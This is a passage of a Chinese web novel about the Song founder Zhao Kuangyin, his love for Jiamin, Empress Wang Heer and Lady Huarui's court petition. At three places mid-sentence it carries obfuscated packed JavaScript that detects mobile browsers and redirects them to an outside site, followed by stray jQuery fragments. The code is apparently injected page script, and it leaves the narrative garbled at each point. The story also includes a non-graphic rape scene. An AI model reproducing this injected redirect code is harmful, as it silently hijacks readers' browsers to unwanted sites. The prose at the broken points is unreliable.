石守信想拦,可也没什么好的理由,禁不住对大哥道:“大哥,嫂子跟了你这些年,是好是歹兄弟们可都看的清清楚楚。那嘉敏妹妹即便再好,可一直不在你身边,你总不能因为她就一直冷着嫂子吧!这样下去,再温顺的女人也会受不了啊!” 赵匡胤看着那洒了满地的桂花糖藕无奈道:“你嫂子自有她的千百个好处,可她不是嘉敏,我只想要嘉敏,日日夜夜都想她!”说着抚着额头又红了眼眶。 石守信无奈哀叹道:“眼前人你不爱,想爱的又爱不到,大哥你这是何苦呢?”说罢跺着脚走出去。 而王鹤儿哭着跑了一阵,见四周有些异样的目光,慌忙低头擦干眼泪,装作什么都没有发生过。 这时身后竟传来一阵老者的笑声,回头一看,乃是熟人,“仙师……” 来者正是陈抟老祖,依旧是鹤发童颜的模样,十多年没有丝毫变化,听他捻须笑道:“皇后娘娘,这皇上乃是重情之人,更何况他与周二小姐之间的情缘是十多年前就种下的,纵然历经波折却矢志不渝,娘娘想取代周二小姐在他心目中的地位,只怕不是那么容易的事啊!” 王鹤儿听了他的劝解,勉强笑道:“是鹤儿愚钝!原以为时日久长,皇上就会把心思转到我身上来,可终究只是黄粱一梦罢了!” “黄粱一梦倒也未必,皇上终究是有些顾念与娘娘的夫妻之情。”陈抟老祖意味深长地道:“其实与周二小姐比起来,娘娘你才是赢家,名正言顺地嫁给了皇上,还与他育有皇子,那周二小姐可是什么都没有,有朝一日,可能还要面临国破家亡的局面,你说皇上能不惦念着她么?” “仙师此次前来,莫不是要帮皇上定下取江南之计?”王鹤儿琢磨着他的话,只片刻就恢复了雍容华贵的皇后模样,以江山大事为要,“皇上在御书房,仙师请吧!” 陈抟老祖乐呵呵地去了,故人相见,少不了带些礼物,乃是一盒香膏。 此香膏色泽莹润,香气清雅,不似道观中所产,赵匡胤疑惑道:“道爷,此乃何物?” 陈抟老祖缓缓道:“帐中香是也,周二小姐所制,我特地拿来给你当礼物。”见赵匡胤面露喜色,接着道:“贫道此来为着三件事,其一乃周二小姐所托,现已完成;其二则是替那南汉的曦宁皇后传一句口信,问皇上是否还记得旧日约定;其三嘛……听说汴京樊家酒楼的酒菜极好,皇上如今也算是腰缠万贯,不会吝啬给老道摆一桌接风宴吧?” 二人相对仰头哈哈大笑,待赵匡胤换上一身寻常衣衫,就一同出宫去往汴河旁的酒市。 陈抟老祖虽修道多年,却荤素不忌,更不戒酒,还十分海量,倒是和赵匡胤有得一拼,二人相谈甚欢。 “李煜自继承帝位以后,对周二小姐很是宠爱,封她当了皇后。她的日子还算安稳,只一心看护自己姐姐的遗孤,皇上倒不必如何挂心。”陈抟老祖先是讲起嘉敏的近况,好稍解其烦忧。 赵匡胤轻颔首,心中滋味难以言说,斟了杯酒自行喝起来,缓缓道:“曦宁皇后所托之事怕是有些棘手,如今我大宋刚取了川蜀之地,朕也曾派兵想先平定北汉,无奈两次皆铩羽而归,将士死伤无数,百姓尸骨成山,如今实在不敢轻易用兵。” 陈抟老祖也自行斟了一杯酒,问道:“那皇上可有对策?” “此事倒是也筹划过一番……”赵匡胤低眉思忖道:“朕欲下一封国书到江南,命李煜写封劝降书给刘鋹,若他肯归降,这天下也能少一场血腥杀戮。” “哦,皇上以为那刘鋹会归降?”陈抟老祖似颇不以为意。 赵匡胤叹息道:“姑且一试罢了!可自唐末以来,寰宇之内,州县分割,百姓流离失所,如遭灭顶之灾。每一次大举征战,都有无数人惨死于屠刀之下。当初朕北伐太原时,曾夸口‘誓不杀一人’,最后却是血流成河,白骨露于野。如今连朕也不得不怀疑,征伐天下是否必要?” “天下定于一乃是亘古不变的道理,皇上心怀仁德实是万民之福啊!”陈抟老祖敬了他一杯,接着道:“不过自来征战天下哪有不流血的?很多事情皇上不做,后继者也会去做,又何必拖延?” “朕理会得!”赵匡胤又是一声叹息,“不过是多年征战,有些疲惫,才说了这等牢骚之语。倘若刘鋹不肯归降,该动的武力还是要动。南汉不过是偏居一隅才得保全,如今我大宋已尽取川蜀之地,拿下它也只在朝夕罢了。曦宁皇后之托,朕必会有所交代。” 二人在酒楼里喝了半天,赵匡胤罕见的酩酊大醉。 凑巧花蕊夫人徐慧带着丫鬟来酒楼买酒,昔年陈抟老祖曾在川蜀见过她,于是上前叙话。 原本见到这老神仙花蕊夫人很是开心,可三句两句的就被他引来看到了醉酒的赵匡胤。 见对方做为难状,啧啧两声道:“老道忙着求仙问道,眼下正要离开汴京,可皇上醉的不省人事,若无人看护着实不放心。” 花蕊夫人对赵家的皇帝无甚好感,然则听老神仙之言是要她设法相助,遂道:“或许妾可以差人去皇宫叫来侍卫将皇上送回去。” 陈抟老祖嘿嘿笑道:“我说夫人呐,你此刻被囚汴京,难免会受小人暗伤,而今皇上这么大一个靠山在你面前,你把握机会照拂于他,日后他感念你的这份情意,说不定能救护你脱离火坑,你说是不是?” 得其点拨,花蕊夫人眉眼轻动, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14422600|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心下已有了主意。待陈抟老祖大笑而去,就和丫鬟一起将赵匡胤扶上自己的马车,带回秦国公府。 谁知赵匡胤这一觉睡的很沉,直到傍晚也没有醒过来的迹象。花蕊夫人思虑片刻,派家仆去宫中送信,希望有人来将皇上接走。 这信自然是转交到了皇后手上,王鹤儿立时来到秦国公府接人。 把赵匡胤在马车上安置好,王鹤儿禁不住回头看着这位川蜀的绝色佳人问道:“夫人信中说是在酒楼里遇见皇上,才将他接来秦国公府的?” 花蕊夫人聪慧机敏,自然听出话里的不同寻常之意,干脆和盘托出:“回娘娘的话,是陈抟老神仙建议妾这么做的,目的是望皇上记得这一点微不足道的照拂,日后或会感念此情意,对妾有所救护。” 王鹤儿听她无一字虚言,点头道:“多谢夫人,此事皇上醒来之后本宫自会告知!”正欲上马车,想了片刻又回头问道:“听说夫人认得南唐的小周娘娘?” 花蕊夫人隐藏下自己的惊诧,摇头道:“妾与小周娘娘只是神交已久,并不相识。” 王鹤儿又轻颔首,似没什么可问的。 “不过刚才皇上熟睡之时似乎有所梦,梦中还叫着一个名字——嘉敏!”花蕊夫人似有所指,“妾听闻那小周娘娘的闺名正是‘嘉敏’二字,想来是有些巧合。” 王鹤儿瞬间脸色铁青,转身上了马车,可却迟迟不动,片刻掀开车帘问道:“夫人今日之举,在本宫看来颇有些献媚邀宠之意,正好皇上的后宫嫔妃寥寥无几,不知夫人可愿入宫侍奉?” 花蕊夫人冷冷道:“皇后娘娘莫不是在赌气?自己唯恐争不过那小周娘娘,想拉妾身为你所用,好一起争宠?” “你……”王鹤儿被她说破了心事,气怒不已,冷哼一声道:“真不知道你究竟是聪慧过了头,还是不惜命。不管那小周娘娘如何为皇上所爱,可陪在他身边,为他生儿育女之人乃是本宫,本宫何须争宠?” 花蕊夫人冷笑:“在妾听来,娘娘此话怕是言不由衷!” 王鹤儿羞怒,可她毕竟是个心地善良的女子,也不加留难,命侍卫起驾回宫。 算起来夫妇二人已有月余不在一处,而今把皇上带到金泉宫,还是因其酒醉的缘故,王鹤儿免不了心下又是一股酸涩滋味。 自行卸了晚妆与他同榻而眠,赵匡胤却是翻了个身背对着她,也不知是否故意为之。 王鹤儿暗自落泪,熬到夜半才迷迷糊糊睡去。 过了两个时辰,天蒙蒙亮,赵匡胤起身上朝,穿上衣裳正待束发,却发现自己无名指上空空如也,惊道:“朕的指环呢?” 那是在南汉时他凭着酒量从药王婆婆手中赢来的,原是一对,另一个戴在嘉敏手上,他曾发誓此生都不会取下来,可醉了一场酒,指环竟然不见了! 王鹤儿慌忙披好衣衫,在床上寻了一番,不见踪迹,蹙眉道:“这个时辰皇上该去上早朝了,指环由妾来找!” 纵然一直恪守着皇帝的本分,可丢了这么重要的东西,赵匡胤一股气憋在心里,竟不想去上朝,此时登闻鼓却响了。 55.琴瑟在御 百姓蒙冤,击登闻鼓上奏,皇帝必要上朝接见。 赵匡胤不再多言,匆匆去上朝,而击鼓鸣冤者竟是花蕊夫人! 见她一身素服被召进朝堂,下拜于君前,面色冷艳凛然不可侵犯,赵匡胤疑惑道:“不知秦国公夫人有何冤屈,又要状告何人?” 花蕊夫人冷然对道:“妾身状告之人,怕皇上不敢审问!” 见她如此无礼,晋王赵光义厉喝道:“大胆,一个亡国俘虏竟敢如此无礼……” 赵匡胤皱着眉抬手制止,正色道:“大宋境内怕是没有朕不敢审的犯人,夫人既然已经到了朕的面前,不妨有冤申冤,若所告属实,朕自会替你做主!” 花蕊夫人仰起头凝着他一字一句道:“回皇上的话,臣妾所告之人正是此刻坐在龙椅上的大宋天子,不知皇上可敢审问自己?” 一时之间朝堂哗然,赵光义一巴掌差点抽到花蕊夫人脸上,被王审琦拦下。 兄弟多年,他看皇上的脸色也知道晋王此举必定不得圣心。 “晋王,莫要轻举妄动!”赵匡胤何等英雄,哪里会纵容弟弟对弱女子动手,何况还是在朝堂上,片刻凝视着花蕊夫人问道:“朕所犯何罪,夫人可否明示?” 花蕊夫人又是一拜,朗声道:“请问皇上,川蜀降宋已久,那川蜀的子民是不是亦是大宋子民?” 赵匡胤点头道:“自然!” “臣妾再请问皇上,宋将王全斌自入成都以后,纵容属下烧杀抢掠强抢民女,是否也是得了皇上授意?”话音落,一双罩着寒霜的眸子看向赵匡胤,接着道:“听说皇上在命宋兵攻占川蜀之时,曾下令‘所得财帛就地瓜分’,若此事为真,那就是皇上你欺压子民,皇上自以为该当何罪?” 不想这个亡国旧妃击鼓鸣冤竟不是为了自己,而是远在川蜀的子民,纵然出言不逊,可也不免教人佩服。 连赵匡胤也对她生出了几分敬意,思忖道:“当初攻打川蜀之时,我大宋已很难发出军饷,故而朕才以财帛之利激励将士,可所取者乃是官衙之财,于寻常百姓则秋毫无犯。听夫人的意思,可是将兵扰民?” 片刻之后殿上来了几位川蜀旧民,状告宋将王全斌军队入成都之后竟然劫掠了一城百姓,甚至滥杀无辜草菅人命。 赵匡胤隐忍怒气,若当真劫掠一城,此事极易查清,谅这些百姓也不敢到御前诬告大宋之名将。 听完诉讼就命花蕊夫人带着百姓先行退下,朝堂之上一片静默。 半晌,赵匡胤眉眼轻抬冷冷道:“召王全斌、崔彦进入京,朕要听听他们有何话可说?” 下朝之后发现花蕊夫人竟然等在殿外,依旧是那副冷艳无俦的模样,只是眉眼似乎温柔了些。 赵匡胤很是恭敬地上前道:“此事三五日之内大约得不出结果,还请夫人稍安勿躁!” 花蕊夫人轻摇首,张开手掌,“妾在房中捡到一枚指环,不知是否是皇上昨日落下的?” 见到失而复得之宝物,赵匡胤大喜,立时取过来戴在手上笑道:“朕还以为丢了,一个早上心神不宁,多谢夫人……”说完忽觉有些不对劲,诧异道:“朕的指环怎会落在夫人家中?” 花蕊夫人忍俊不禁,将昨日在酒楼醉酒后熟睡之事告知。 “原来是夫人仗义将朕带回家中!”赵匡胤看着她微笑,竟有几分羞赧。 “皇上这指环妾以前见过,”花蕊夫人突然道:“南唐的小周娘娘手上似乎戴着一个一模一样的。” 是了,嘉敏的那些画像上也画有指环,一时之间赵匡胤不知该如何解释。 而花蕊夫人显然并不是想问他和嘉敏之间的关系,只是旁敲侧击地道:“昨日皇后娘娘去府上接皇上之时,曾与臣妾说过一番话。原本皇上夫妻之间的事,臣妾不该妄言,只是瞧着娘娘身体不大好,大约是常年郁结在心所致,不知皇上是否有所察觉?” “鹤儿身子不大好么?”赵匡胤显然并不知此事,这些年一直忙着征伐天下,对妻子疏于照顾,连相处的时日也很少,思来确有几分对她不住,“多谢夫人提醒,朕以后会留意。” “妾只怕皇后娘娘要的不是一点点留意,而是一颗真心!”花蕊夫人言罢屈膝施礼,款款而去。 赵匡胤颇为惊诧地抬眼,只觉这川蜀来的女子很是聪慧,也不知是否猜出了自己和嘉敏之间的关系。 而皇后那边,毕竟做了多年夫妻,王鹤儿又将一腔柔情全部倾注在他身上,若说半点情分也不顾,怕是太过冷血。 思虑着不知不觉到了金泉宫外,王鹤儿似乎刚回来,满脸倦容,摇摇晃晃的差点摔倒。 她果然是不大好么? 赵匡胤上前将她扶好,见她面色惨白,连嘴唇也毫无血色,不免有些担忧,问道:“是最近累到了么?” 乍然间这般亲近,王鹤儿竟有些局促,一时忘了答话。 赵匡胤干脆将她抱回寝宫,传太医来仔细瞧一瞧。 “指环找到了?”王鹤儿柔声问,面上也不自觉露出些轻松的微笑。 “嗯,花蕊夫人送来的。”赵匡胤想了想又解释道:“昨天朕喝醉睡着了,并不知去了她府上。” 王鹤儿焉能不解其意,低眉轻笑。 “这些年教你受委屈了!”赵匡胤斟酌着道:“嘉敏之事朕无话可以辩解,也知道你心里大约是过不去,若有什么可以弥补的,不如你说出来,朕尽力办到。” “这些年皇上并未薄待臣妾,又哪里需要弥补什么?”王鹤儿大着胆子握住他的手,无奈道:“皇上乃是重情之人,忘不了你那嘉敏妹妹,臣妾又怎能勉强?好在我们夫妻多年,一直相敬如宾,就算偶有争执,也都是皇上在让步。能嫁得这般夫婿,臣妾一直很知足。” 赵匡胤叹息道:“你的悲、你的怨,这辈子朕是无法消解了!” 王鹤儿无声堕泪道:“本就是臣妾强求来的姻缘,又怎怪得了皇上?” “鹤儿,以前的恩恩怨怨就让它过去吧!”赵匡胤握紧她的手柔声安慰:“这些年你陪在朕身边,没有一日不是在为朕操劳,若说有错,也早就功过相抵了。从今以后就不要再提了,好不好?” 王鹤儿含泪点头,“以后再不提了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14433662|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人相视而笑,太医正好来了,诊完脉神色凝重道:“皇后娘娘如今每日都在太后娘娘面前伺候,怕是身子吃不消了。容老臣说句不恭敬的话,如若想要有所好转,太后娘娘那边最好换成别人伺候。” 赵匡胤多半是听明白了,叮嘱道:“母后那里自明日起你就不要去了,朕亲自去!” 杜太后自月前摔了跤,腿脚一直不便,都是王鹤儿早早的前去服侍,有时还彻夜照顾,时间久了自然有些熬不住。 翌日下朝后赵匡胤亲来帮母亲穿好鞋袜,侍奉早膳。 “你那媳妇今早可是贪睡了,这个时辰也不见来侍奉。”杜太后喝着稀粥,微感不满。 赵匡胤微一抬头淡淡道:“鹤儿身子有些不大好,太医说需要静养一阵,她害怕会过病气给母后,是以不曾前来。” 杜太后听罢冷哼一声道:“不过是在婆母身前伺候了一月,哪里就这般娇弱?哀家瞧她是不愿意看见我这老太婆才找的借口吧!明早可不能这般纵着她了,莫说你已经当了皇帝,一个大男人却像妇人一般伺候自己的母亲,说出去白白叫人笑话。” 赵匡胤点头道:“儿子检查过了,母亲的脚已无大碍,明早确实不用鹤儿再来伺候了。” 杜太后皱眉:“你说什么?” “不信的话母后自己站起来试试,这般一直坐着不动,于母后的身体毫无益处,还是随处走走的好。”赵匡胤起身来搀扶她。 杜太后这才想起来儿子在军中多年,可是治疗骨伤的行家,虽然不悦,可也只好站起来活动。赵匡胤只偶尔搀扶一下,坚持让母亲在院中活动了小半个时辰。 王鹤儿虽起晚了些,可还是赶来了,看见这幅场景,迅速收敛起惊讶的表情笑道:“之前太医说母后的脚已无大碍,应该可以行走,可母后一味喊疼,而今看来只是想皇上了,皇上一来,母后便好了。” 赵匡胤轻笑不语,心下明了母亲大约是在故意折腾自己的妻子,转头对王鹤儿道:“今日风大,快回寝宫歇着吧,母后这边朕自会照拂,若你再病了,朕可就腾不开手了!”说着还抬手替妻子整理了乱发。 王鹤儿笑吟吟地道:“臣妾自会养好身子,不令皇上担忧。” 带着宫婢红菱返回金泉宫,思虑一阵道:“听说花蕊夫人找到了皇上的指环,去挑几样礼物,本宫要亲自到她府上道谢。” 她事事以丈夫为重,每每考虑的很周全,的确令赵匡胤省了很多心力。 到了花蕊夫人府上,门虚掩着,大白天的竟也找不到人通传。 王鹤儿疑惑不解,带着红菱走进内闱,忽闻得一阵奇怪声响,是男子猥琐的笑意中夹杂着女子的哭泣。 窗子半掩半开,王鹤儿朝里面瞧了一眼,登时大惊失色,不由后退了半步。 居然是晋王在凌辱花蕊夫人! 花蕊夫人鬓发凌乱满脸泪痕,显然是被迫。 王鹤儿犹疑片刻,咬牙悄无声息转身离去,走出秦国公府,回头对着贴红菱厉声道:“今日之事不许说出去,更不准有半个字传到皇上耳朵里,懂吗?” 56.水殿风来 花蕊夫人状告川蜀大军劫掠成都一事,不过半月就有眉目了,赵匡胤震怒之下将王全斌等人革职流放,又发恤民诏,免了川蜀两年的租税。 此间事了,千里迢迢前来告御状的那几个川蜀百姓也要返回故乡,花蕊夫人为他们饯行。 临别时这些蜀国旧人又提到思念故主,花蕊夫人遂在院中挂了孟昶的画像,摆上酒食果馔焚香祭奠。 不想赵匡胤突然登门拜访,众人惊慌之余来不及收起画像和供桌,一个个吓的面如土色。 连花蕊夫人也心跳如鼓,用力掐自己才强自镇定下来。 赵匡胤瞧见那供桌非但不以为意,反倒上前恭恭敬敬地上了一炷香,低眉道:“朕听说各位今日要返乡,特来送行。” 说着抬手命人将带来的赏赐之物一一分发,除了一件大氅之外还有百两财帛。 “此去路途遥远,怕是过不了多久就要入冬了,望各位多保重,平安到家。” 他语气平缓,全无帝王骄矜之气,就像是一个普通人再和同乡告别。 百姓惊讶之余纷纷下拜叩谢,言道:“我等草民何德何能竟得皇上如此照拂,实在三生有幸!” 赵匡胤忙将他们扶起,朗声道:“敢为民请命便是德,告之御前胜诉便是能,倒是朕举措失当伤了百姓,也不怪夫人要状告朕了,朕知罪!” 花蕊夫人诧异地听完,莞尔笑道:“臣妾当时也不过是孤注一掷在赌皇上之德行,好在虽然惊险却也赌赢了,能有如此容人之量,皇上果然是不同寻常!” 赵匡胤正色道:“朕非生来富贵,年少时也曾风餐露宿无家可归,后来从军征战多年,也不过是希望能早一日结束百年乱局,造一个太平盛世出来。但愿届时四海之内再无兵连祸结,寰宇之中人人安居乐业,天下再无不平之事,无人仗势欺人恃强凌弱,此少年志也,心之所向,百死不悔!” 字字铿锵有力,带着百折不挠的坚强意志,连这些川蜀旧地的百姓也不由肃然起敬,跪地高呼:“吾皇万岁万岁万万岁!” 赵匡胤一怔,方才之言全然是有感而发,倒并非故意拉拢人心。不过这些百姓也不是单凭他说几句天下为公的大义言语就如此拜服,乃是从他所行之事中看出其身为君主的贤明之处,这才诚心归附。 君民告别之后,尚未走出门,一个百姓又折返回来拱手道:“皇上方才所言,愿四海之内再无人仗势欺人恃强凌弱,草民是信的。而今我家夫人一介弱女子孤身留在汴京,我等着实有些不大放心,还请皇上怜惜,莫使人欺辱于她!” 赵匡胤点头:“卿之所托,朕记下了!” 百姓复又拜别,依依不舍地离开。 赵匡胤侧目见花蕊夫人眼中似有泪光,奇道:“夫人因何事伤怀?” 花蕊夫人勉强遮掩道:“拜别故人难免心酸,请皇上恕罪!” “朕好像听到了一些不好的流言……”赵匡胤斟酌着道:“听说汴京权贵时有骚扰降国俘虏,夫人是否也受到了波及?” 花蕊夫人蹙眉,不正面答话,而是问道:“妾素观史书,知晓降国俘虏本就是赏给权贵的战利品,此乃旧制,皇上大约不好更改。不过倘若数年之后,那位南唐的小周娘娘也以俘虏之身入京,不知皇上会如何待她?” 明知对方是在试探自己,赵匡胤背过身去缓缓道:“朕出身草莽,少时落拓江湖好打抱不平,总以为凭着自己的双拳能够改变这世道。后来才发觉一个人的力量何其渺小,即使登上帝位,也有太多事情不得不权衡取舍,又哪里扫得清天下之不平,只能尽力而为罢了!”说罢又转头看她认真道:“夫人如此聪慧,想必心里有数,嘉敏乃朕之所爱!若她来了汴京,自然不是降俘,而是朕放在心尖的人,朕是绝对不容许她有任何闪失的!” 如此有份量落在一个亡国旧妃头上,如何能不教人艳羡?花蕊夫人瞧着他离去的背影泪落如珠。 消停了几日,朝堂风波再起。 南唐李煜受命给南汉皇帝刘鋹去了一封招降书,可刘鋹非但没有半点归降之意,回信的措辞也甚为不恭。李煜惊骇,直接将信呈去了宋,惹得赵匡胤震怒。 公元九七零年,赵匡胤派潘美等人征伐南汉,次年二月,刘鋹归降。 为保性命,刘鋹特意做了一个七宝纹饰的马鞍献于宋主。赵匡胤瞧此物很是精巧,遂把宫里的能工巧匠召至御前来鉴赏一番,匠人竟皆拜服。 赵匡胤摇头道:“做皇帝的不思治国理政,将功夫都花在这些无关紧要的东西上,朕瞧这刘鋹和那南唐的李煜也没什么区别,玩物丧志,岂是为君之道?” 不过说起来那南唐盖世文化倒也并非没有可取之处,这两年赵匡胤有意增加科举取士之名额,想要重用文臣士大夫来治国理政。 今年科举刚过,想着又有一批士人可以为己所用,不想上朝之时又听见登闻鼓的声音,且此次击鼓鸣冤的皆是今年参加科考之士人。 兹事体大,赵匡胤将击鼓的士人全部宣上殿,不想他们竟是状告主持贡举的中书舍人李昉徇私,令同乡才能平庸的武济川通过预选,有违科举之公正。 “尔等指控朝廷命官科举徇私,朕也不能听你们一面之词。”赵匡胤面色铁青斟酌片刻下令道:“来人,宣武济川上殿,朕要亲自勘问一番,倘若他有真才实学,自然能够服众!” 不多时士人高济川上殿,此人一路佝偻着背,衣衫穿的松松垮垮,观感极其不佳。 赵匡胤权当其初次面圣难免拘谨,耐着性子道:“大宋开科取士,乃是为国选拔人才,卿既然以才学入选,想必不会教朕失望!朕且考考你,为何历代处决犯人皆是秋后问斩?” 此考题算是相当容易了,别说是文人士大夫,连武将也一清二楚,而这武济川却支支吾吾的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14447436|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个字也答不出来。 赵匡胤眉头紧锁,基本判定此人多半是个草包,冷冷道:“朕再问你,若有一死囚临刑之时喊冤,可他所犯之罪又证据确凿,而你为监斩官吏,依我大宋律法此刻该当如何?” 武济川不敢不答,吞吐道:“证据确凿……应该……应该……斩杀之……” 话音落朝臣皆变了脸色,李昉抬起袖子擦额头上的冷汗。 赵匡胤沉住气道:“赵丞相,这朝上有这么一位连大宋律法都不熟悉的士人,你不妨教教他!” 丞相赵普领命出列,耐心教导佝偻在地的士人:“所谓‘秋后问斩’乃是汉朝丞相萧何定下的规矩,春夏乃是万物生长的季节,秋冬则凋零,故而秋后行刑乃是顺应天时。第二个问题,若有一死囚临刑之时喊冤,可他所犯之罪又证据确凿,依我大宋律法,官府不得斩杀之,而是需重新审查,再层层上奏,经皇上御笔朱批方可执行。” 事实如何,此刻已然十分清楚。 赵匡胤屏退士人之后问罪李昉,将其贬出京师,并下诏凡今后贡举合格之士人,将由皇帝本人在讲武殿亲点进士,殿试由此成为定制。 赵匡胤本人虽是武将出身,却颇好读书,闲暇时也多侍弄文墨。在他看来,当世才华盖世者,南唐李煜当居榜首,若是不做治国理政的国主,去翰林院做个学士再好不过。 碰巧翰林院呈上了李煜最新所作之词,左右无事遂打开一观,又是一首《菩萨蛮》: “蓬莱院闭天女台,画堂昼寝人无语。抛枕翠云光,绣衣闻异香。潜来珠锁动,惊觉银屏梦。脸慢笑盈盈,相看无限情。” 这词如此生动香艳,乍读一遍,写的乃是男子潜入女子寝殿,惊醒她午睡好梦之情景,不用猜这词中如此娇憨可爱之女子定然是嘉敏。 好一个登徒浪子! 赵匡胤登时恼火不已,将纸张挼碎弃置一旁,支着头独自生闷气。 他想见嘉敏而不得,李煜却随时能看到她,越想越生气,干脆闭目养神,不想一时竟也沉入梦境之中。 如那词中的情景,他梦到了趴在寝殿床上午睡的嘉敏,一身轻薄罗衣散着清甜香气,丝发散了满枕,很是婉娈可怜。 拂开珍珠帘帐走进来,那叮叮咚咚的声音惊醒了她。嘉敏睁开眼,笑盈盈地起身,伸出手臂要他来抱自己。 算起来月月复年年的又是许久未见,反正又是在梦中,赵匡胤哪里就只抱一下了事,竟是放她在寝榻上肆意交颈缠绵。 唇齿相接之际,似乎能闻到嘉敏身上的幽香,吸进鼻腔,连头脑也一下子清醒过来。 他不自觉咬了一下嘉敏的唇,听见她痛的发出了声息,惊诧之余睁开眼,才发现竟然不是梦——此刻嘉敏正躺在他的怀里,唇上还留有他的齿痕。 见他终于醒了,嘉敏眸中闪着光,娇娇弱弱地唤道:“赵哥哥——” 57.执手相看 暮雨梧桐风细细,美人在怀,珠翠摇香。 赵匡胤瞧了她许久,方知自己并非在梦中,开怀笑道:“嘉敏——嘉敏——你怎么会来了呢?” 嘉敏被他紧抱在怀,眨着眼想了片刻道:“我受陈抟老神仙之托,他有些话想要我来转告赵哥哥。” 这陈抟老祖历来是替人传信的,何时竟反过来了?更何况嘉敏是南唐皇后,哪里有这么容易就能出宫,还跑到几千里外的汴京来? 赵匡胤稍一思量,放开她淡淡道:“是李煜派你来的吧!” 此事自然是瞒不过的,嘉敏低头小声解释:“自南汉归降以后,江南朝堂日益动荡,都说大宋的军队不日便将攻占金陵,国主很是忧心。陈抟老神仙在这时入宫,告诉国主幼时你救护于我之事。还说你宅心仁厚,若是由我来出使大宋,求你切勿攻打金陵,你或许会应允……” 赵匡胤点头道:“确然也只有陈抟老祖能干出此等事,我想他大概是想送你来见我一面,出使之事不过是个幌子,也亏他能想出这一出,不然你我还不知要到何时能相见!” 不想嘉敏却是面露赧色,吞吐道:“赵哥哥当真要攻打江南么?就算嘉敏求你……也一定要打么?” 赵匡胤怔住,满脸诧异之色,“你当真……是替李煜来当说客的?” 见她低眉不语,心间一阵气闷,起身拂袖道:“如今连你我之间的情义也要被当作筹码,拿出来谈判么?” 嘉敏急道:“自然不是!”走到他身边来,“我听说那川蜀的花蕊夫人曾经带着蜀地旧民敲登闻鼓为民请命,赵哥哥秉公处理,还他们公道。而今我正是效仿花蕊夫人,带着南唐文士前来汴京陈情,明日便去敲那登闻鼓,求皇上召见。” “你要敲登闻鼓?”赵匡胤眉头紧锁,直截了当制止,“不可!” 嘉敏嗔道:“此话好没道理!为何那花蕊夫人可以,我却不可以?莫不是你瞧她貌美有意偏袒庇护,早已忘了我这个打小与你结下深厚情谊的江南女子?” “这……”赵匡胤不想她竟会想到这一层来,只好耐心解释道:“嘉敏,你有没有想过,去敲那登闻鼓,到时候不知道有多少朝臣能见到你的面,我怎可让此等事情发生?” 此番顾虑倒是甚为有理,自小养在深闺的千金娇女本不宜抛头露面,更何况她如此貌美,难免惹人觊觎。 可嘉敏娇蛮性子上了头,岂会理会他的良苦用心,嗔道:“准花蕊夫人做的事情却不许我做,还说不是对她怀有情意?皇上也不必找这等借口,若是厌烦了我,只肖一句话,我这便回江南去,日后再不来求你!”说罢拂袖欲去。 赵匡胤忙拉住她,急道:“江南文士要上朝陈情,我明日召见便是,你不许出面!那花蕊夫人想敲几次登闻鼓都随她,我绝不会阻拦一次。嘉敏,你可不可以不要张口闭口的认为我与她之间怀有情意,那这么多年我对你的痴心又算什么?” 嘉敏情知自己理亏,红着脸道:“她才貌双全,教我很不放心……” “原来你是在捻酸吃醋!”赵匡胤登时开怀大笑,对她倾心这么多年,这可是头一遭见她嫉妒自己身边的女人,当真比打了胜仗还开心。 嘉敏脸更红了,低着头口是心非地否认:“才没有!” 此事自然没有什么好争辩的,赵匡胤抱她在怀斜倚在卧榻上,柔声问道:“你是避开使团偷偷前来的么?” “嗯!陈抟老神仙说他见你不用通传,就带着我来了。”嘉敏眼珠骨碌碌地转,大约是在想怎样回话会更含蓄一些。 南唐出使的国书早就送来了,只是他没想到嘉敏会来。不过朝堂之事非帝王私事,断然也不能徇私,嘉敏只怕是白跑一趟。 赵匡胤鼻尖碰到她的秀发,闻到一股异香,禁不住多吸了几口气,更加心猿意马,脱口而出:“那不如今晚宿在宫里可好?” 此话的含义可多可少,嘉敏花容失色,起身离开他怀里。 无论如何,她此刻尚戴着南唐皇后的头衔,偷偷与赵匡胤相会本就逾矩,怎可…… 赵匡胤见她如此,不免伤怀,只好按捺下心绪温言哄她:“我是怕你一路舟车劳顿,想安置你好好休息。不过若宿在宫里,大约是会被察觉,还是早些送你回驿馆的好,明日或可召你进宫好好叙话。” 毕竟南唐那边连他们的旧情都搬出来用了,他就算提出要和嘉敏叙旧也合情合理。眼下天马上就黑了,纵然心中万般不情愿,也只能先送她回去。 南唐此次派了楚国公李从善前来朝贡,赵匡胤于宫中设宴款待,晋王赵光义并宰相赵普等人陪宴,席间难免一番唇枪舌剑,各自心里都有计较。 “楚国公可是初次来汴京?”赵光义一脸老谋深算的笑意率先来搭话。 